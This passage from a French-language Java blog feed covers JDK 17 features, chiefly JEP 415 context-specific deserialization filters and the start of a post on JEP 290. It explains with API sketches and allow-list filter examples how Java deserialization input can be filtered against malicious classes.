&lt;p&gt;De plus, généralement les communications distribuées passent par des procoles de plus haut niveau : HTTP ou gRPC par exemple.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/08/JEP407-JEP410-Les-fonctionnalites-retirees-du-JDK17.html#jep_407_remove_rmi_activation&quot;&gt;chapitre dédié&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;410_remove_the_experimental_aot_and_jit_compiler&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/410&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;410 - Remove the Experimental AOT and JIT Compiler&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les deux compilateurs expérimentaux AOT et JIT ont servis de base au projet graalvm.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Le JIT (Just-In-Time) a besoin que la JVM tourne pour commencer les optimisations du code appelé fréquemment (compilateur à la volée). C’est la fameuse phase de &quot;warm-up&quot; de la JVM.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L’AOT consiste à réaliser la compilation native au lieu du code intermédiaire. Ainsi, les performances sont optimales dès le début.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les travaux ont permis d&amp;#8217;avoir beaucoup de retour et d&amp;#8217;informations pour la mise en place de ces solutions.
Cela a conforté la direction de solution &quot;Java-on-Java&quot;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/08/JEP407-JEP410-Les-fonctionnalites-retirees-du-JDK17.html#jep_410_remove_the_experimental_aot_and_jit_compiler&quot;&gt;chapitre dédié&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 415, Context-Specific Deserialization Filters</title>
      <link>https://www.lilian-benoit.fr/2021/08/JEP-415-Context-Specific-Deserialization-Filters.html</link>
      <pubDate>dim., 22 août 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/08/JEP-415-Context-Specific-Deserialization-Filters.html</guid>
      	<description>
	&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jep_415_context_specific_deserialization_filters&quot;&gt;JEP 415 Context Specific Deserialization Filters&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#comment_cela_fonctionne&quot;&gt;Comment cela fonctionne&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#ligne_de_commande&quot;&gt;Ligne de commande&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#api&quot;&gt;API&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exemple_de_mise_en_oeuvre&quot;&gt;Exemple de mise en oeuvre&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Retour sur les nouvelles fonctionalités du JDK 17, le filtre pour se protéger de la désérialisation a été améliorée. Nous avons abordés ce sujet dans le &lt;a href=&quot;/2021/08/JEP-290-Filter-Incoming-Serialization-Data.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;billet précédent&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, depuis le JDK 9, nous avons l&amp;#8217;interface &lt;code&gt;ObjectInputFilter&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface ObjectInputFilter {
    Status checkInput(FilterInput filterInfo);

    enum Status {
        UNDECIDED,
        ALLOWED,
        REJECTED;
    }

    ...

    public static class Config {
        public static void setSerialFilter(ObjectInputFilter filter);
        public static ObjectInputFilter getSerialFilter(ObjectInputFilter filter) ;
        public static ObjectInputFilter createFilter(String patterns);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;jep_415_context_specific_deserialization_filters&quot;&gt;JEP 415 Context Specific Deserialization Filters&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est d&amp;#8217;améliorer la granularité au niveau du filtre. En effet, avant le JDK 17, nous avons un paramétrage :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;soit global au niveau de la JVM&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;soit par flux (c&amp;#8217;est à dire pour chaque intance de &lt;code&gt;ObjectInputStream&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;comment_cela_fonctionne&quot;&gt;Comment cela fonctionne&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le principe est la mise en place d&amp;#8217;un système de &lt;a href=&quot;https://fr.wikipedia.org/wiki/Fabrique_(patron_de_conception)&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;fabrique&lt;/a&gt; de filtre. L&amp;#8217;objectif est de pouvoir déterminer le filtre à utiliser selon le contexte.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La fabrique doit implémenter l&amp;#8217;interface &lt;code&gt;BinaryOperator&amp;lt;ObjectInputFilter&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class FiltreSelonContexte implements BinaryOperator&amp;lt;ObjectInputFilter&amp;gt; {

    public ObjectInputFilter apply(ObjectInputFilter curr, ObjectInputFilter next) {
        ....
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Naturellement, la nouvelle mécanique doit rester compatible avec l&amp;#8217;existant.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;ligne_de_commande&quot;&gt;Ligne de commande&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La première possibilité est d&amp;#8217;utiliser la ligne de commande. Pour cela, il existe une nouvelle propriété &lt;code&gt;jdk.serialFilterFactory&lt;/code&gt; où nous indiquons la classe concernée (qui doit être accessible par le chargeur de classes)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;api&quot;&gt;API&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Côté API, nous avons des méthodes qui permettent de positionner la fabrique au niveau de la classe &lt;code&gt;ObjectInputFilter.Config&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface ObjectInputFilter {
    Status checkInput(FilterInput filterInfo);
    ...

    public static class Config {
        ...
        public static BinaryOperator&amp;lt;ObjectInputFilter&amp;gt; getSerialFilterFactory();
        public static void setSerialFilterFactory(BinaryOperator&amp;lt;ObjectInputFilter&amp;gt; filterFactory);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les filtres peuvent s&amp;#8217;additionner pour s&amp;#8217;adapter au contexte. Pour cela, il existe la méthode &lt;code&gt;ObjectInputFilter.merge()&lt;/code&gt;. Voici sa signature :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface ObjectInputFilter {
    ObjectInputFilter ObjectInputFilter.merge(ObjectInputFilter premier, ObjectInputFilter second);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ainsi, nous avons la séquence suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Appel du filtre premier et obtient le status&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Retourne &lt;code&gt;REJECTED&lt;/code&gt; si le status est &lt;code&gt;REJECTED&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Appel du filtre second et obtient le status&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Retourne &lt;code&gt;REJECTED&lt;/code&gt; si le status du second filtre est &lt;code&gt;REJECTED&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Retourne &lt;code&gt;ALLOWED&lt;/code&gt; si l&amp;#8217;un des deux status (le premier ou le second) est &lt;code&gt;ALLOWED&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sinon, retourne &lt;code&gt;UNDECIDED&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;exemple_de_mise_en_oeuvre&quot;&gt;Exemple de mise en oeuvre&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;exemple inclus dans le JEP et la Javadoc consiste à obtenir un contexte par thread (donc un filtre par thread).
Pour cela, nous commençons par la définition de la classe suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public static final class FilterInThread implements BinaryOperator&amp;lt;ObjectInputFilter&amp;gt; {

     private final ThreadLocal&amp;lt;ObjectInputFilter&amp;gt; filterThreadLocal = new ThreadLocal&amp;lt;&amp;gt;();

     // Constructeur de la farbique du filtre de la désérialisation
     public FilterInThread() {}

     // Retourne un filtre composite
     public ObjectInputFilter apply(ObjectInputFilter curr, ObjectInputFilter next) {
         ...
     }
     // Applique le filtre au niveau du Thread
     // et appelle la méthode `Runnable.run()`
     public void doWithSerialFilter(ObjectInputFilter filter, Runnable runnable) {
         var prevFilter = filterThreadLocal.get();
         try {
             filterThreadLocal.set(filter);
             runnable.run();
         } finally {
             filterThreadLocal.set(prevFilter);
         }
     }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La méthode &lt;code&gt;doWithSerialFilter&lt;/code&gt; va ainsi :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;positionner le filtre souhaité (c&amp;#8217;est à dire passer en paramètre)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;appeler la méthode du &lt;code&gt;Runnable.run()&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;puis, repositionner le filtre initial afin de rétablir la configuration par défaut.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ainsi, c&amp;#8217;est le filtre souhaité qui sera utilisé durant toute l&amp;#8217;exécution de la méthode (et notamment du &lt;code&gt;Runnable.run()&lt;/code&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;utilisation est la suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;// Creation de la fabrique de filtre et le positionner de manière globale
var filterInThread = new FilterInThread();
ObjectInputFilter.Config.setSerialFilterFactory(filterInThread);

// Création d&apos;un filtre qui autorise fr.lbenoit.exemple.*, les classes du module
// `java.base` et rejete toutes les autres
var filter = ObjectInputFilter.Config.createFilter(&quot;example.*;java.base/*;!*&quot;);
filterInThread.doWithSerialFilter(filter, () -&amp;gt; {
        byte[] bytes = ...;
        var o = deserializeObject(bytes);
});&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/290&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 290 : Filter Incoming Serialization Data&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/415&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 415 : Context Specific Deserialisation Filters&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 290, Filter Incoming Serialization Data</title>
      <link>https://www.lilian-benoit.fr/2021/08/JEP-290-Filter-Incoming-Serialization-Data.html</link>
      <pubDate>dim., 15 août 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/08/JEP-290-Filter-Incoming-Serialization-Data.html</guid>
      	<description>
	&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#rappel_sur_la_sérialisation&quot;&gt;Rappel sur la sérialisation&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#sérialisation&quot;&gt;Sérialisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#désérialisation&quot;&gt;Désérialisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#activation_autorisation&quot;&gt;Activation / Autorisation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#personnalisation&quot;&gt;Personnalisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jep_290_filter_incoming_serialization_data&quot;&gt;JEP 290 Filter Incoming Serialization Data&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#définition_de_lapi&quot;&gt;Définition de l&amp;#8217;API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#configuration_du_filtre_de_manière_globale&quot;&gt;Configuration du filtre de manière globale&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#configuration_du_filtre_par_programmation&quot;&gt;Configuration du filtre par programmation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#motifs_possibles_pour_la_configuration&quot;&gt;Motifs possibles pour la configuration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Depuis quelques semaines, je déroule les nouveautés du JDK 17. Cette semaine, nous allons revenir en arrière et nous pencher sur une précédente JEP contenue dans le JDK 9. Elle tente de s&amp;#8217;attaquer au problème de la &lt;strong&gt;désérialisation&lt;/strong&gt;. Cela n&amp;#8217;est pas une spécificité de la plateforme Java. Mais ce problème n&amp;#8217;est pas anodin car la désérialisation non sécurisée fait partie du &lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization&quot;&gt;Top 10 OWASP&lt;/a&gt; des failles de sécurité des applications web.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;rappel_sur_la_sérialisation&quot;&gt;Rappel sur la sérialisation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est pouvoir transformer uns instance en flux d&amp;#8217;octets. Ce dernier sera stocké dans un fichier, passera par le réseau ou autres. Puis, le flux d&amp;#8217;octects sera retransformer en instance.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;sérialisation&quot;&gt;Sérialisation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici le code pour sérialiser une chaine de caractère et une date. Nous utilisons la classe &lt;code&gt;ObjectOutputStream&lt;/code&gt; et la méthode &lt;code&gt;writeObject&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;OutputStream o = ...
ObjectOutputStream s = new ObjectOutputStream(o);

s.writeObject(&quot;Today&apos;s date&quot;);
s.writeObject(new Date());&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;désérialisation&quot;&gt;Désérialisation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La désérialisation est l&amp;#8217;opération inverse. Elle permet de transformer le flux d&amp;#8217;octets en instance. C&amp;#8217;est la classe compagnon &lt;code&gt;ObjectInputStream&lt;/code&gt; et la méthode &lt;code&gt;readObject&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;InputStream o = ...
ObjectInputStream s = new ObjectInputStream(o);

String str = (String) s.readObject();
Date d = (Date) s.readObject();&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Vous aurez remarqué que la sérialisation et la désérialisation sont réalisées dans le même ordre : &lt;code&gt;String&lt;/code&gt;, puis &lt;code&gt;Date&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;activation_autorisation&quot;&gt;Activation / Autorisation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La classe doit implémenter tout simplement l&amp;#8217;interface &lt;code&gt;java.lang.Serializable&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class MaClasse implements Serializable {

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Et c&amp;#8217;est tout !&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;personnalisation&quot;&gt;Personnalisation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les opérations sont réalisées par défaut par la JVM au niveau de la classe &lt;code&gt;Object&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class Object {

    void readObject(ObjectInputStream ois);
    void writeObject(ObjectOutputStream oos)
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De ce fait, le développeur peut surcharger les méthodes &lt;code&gt;readObject&lt;/code&gt; et &lt;code&gt;writeObject&lt;/code&gt; afin de réaliser sa propre implémentation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; &lt;strong&gt;C&amp;#8217;est malheureusement&lt;/strong&gt; par ce biais que les attaques peuvent se produire. Car la JVM va ainsi charger du code. Et ce dernier peut être malveillant.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;jep_290_filter_incoming_serialization_data&quot;&gt;JEP 290 Filter Incoming Serialization Data&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette fonctionnalité va permettre l&amp;#8217;utilisation de filtre lors de la lecture de flux entrants de la désérialization afin d&amp;#8217;améliorer la robustesse et la sécurité.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Tout l&amp;#8217;intérêt est que le filtrage est réalisé avant le chargement de la classe. (donc avant le chargement du code potentiellement malveillant).&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les objectifs sont les suivants :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Fournir un mécasnime de filtre flexible pour autoriser la désérialisation des classes,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fournir des métriques pour le filtre concernant la taille et la complexité du graphe des instances désérialisés,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fournir un mécanisme compatible avec RMI,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne pas utiliser de sous-classes ou de modification de la classe &lt;code&gt;ObjectInputStream&lt;/code&gt;,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pouvoir être configuré de manière globale avec des propriétés.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;définition_de_lapi&quot;&gt;Définition de l&amp;#8217;API&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le filtre est décrit via l&amp;#8217;interface &lt;code&gt;ObjectInputFilter&lt;/code&gt;:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface ObjectInputFilter {
    Status checkInput(FilterInput filterInfo);

    enum Status {
        UNDECIDED,
        ALLOWED,
        REJECTED;
    }

   interface FilterInfo {
         Class&amp;lt;?&amp;gt; serialClass();
         long arrayLength();
         long depth();
         long references();
         long streamBytes();
   }

    public static class Config {
        public static void setSerialFilter(ObjectInputFilter filter);
        public static ObjectInputFilter getSerialFilter(ObjectInputFilter filter) ;
        public static ObjectInputFilter createFilter(String patterns);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est la méthode &lt;code&gt;checkInput&lt;/code&gt; qui va être appeler pour vérifier le flux d&amp;#8217;entrée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; L&amp;#8217;interface &lt;code&gt;FiltreInfo&lt;/code&gt; correspond bien au deuxième objectif : avoir des métriques pendant la phase de désérialization.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;configuration_du_filtre_de_manière_globale&quot;&gt;Configuration du filtre de manière globale&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela se passe par la propriété &lt;code&gt;jdk.serialFilter&lt;/code&gt;. Il suffit de positionner la propriété sur la ligne de commande.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock bash&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;java -Djdk.serialFilter=&quot;fr.lbenoit.exemple*;java.base/*;!*&quot; ...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Dans cet exemple, les classes du package &lt;strong&gt;fr.lbenoit.exemple&lt;/strong&gt; et les classes du module &lt;code&gt;java.base&lt;/code&gt; sont autorisés. Toutes les autres classes ne le sont pas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La propriété peut être positionnée dans le fichier &lt;code&gt;conf/security/java.properties&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;configuration_du_filtre_par_programmation&quot;&gt;Configuration du filtre par programmation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
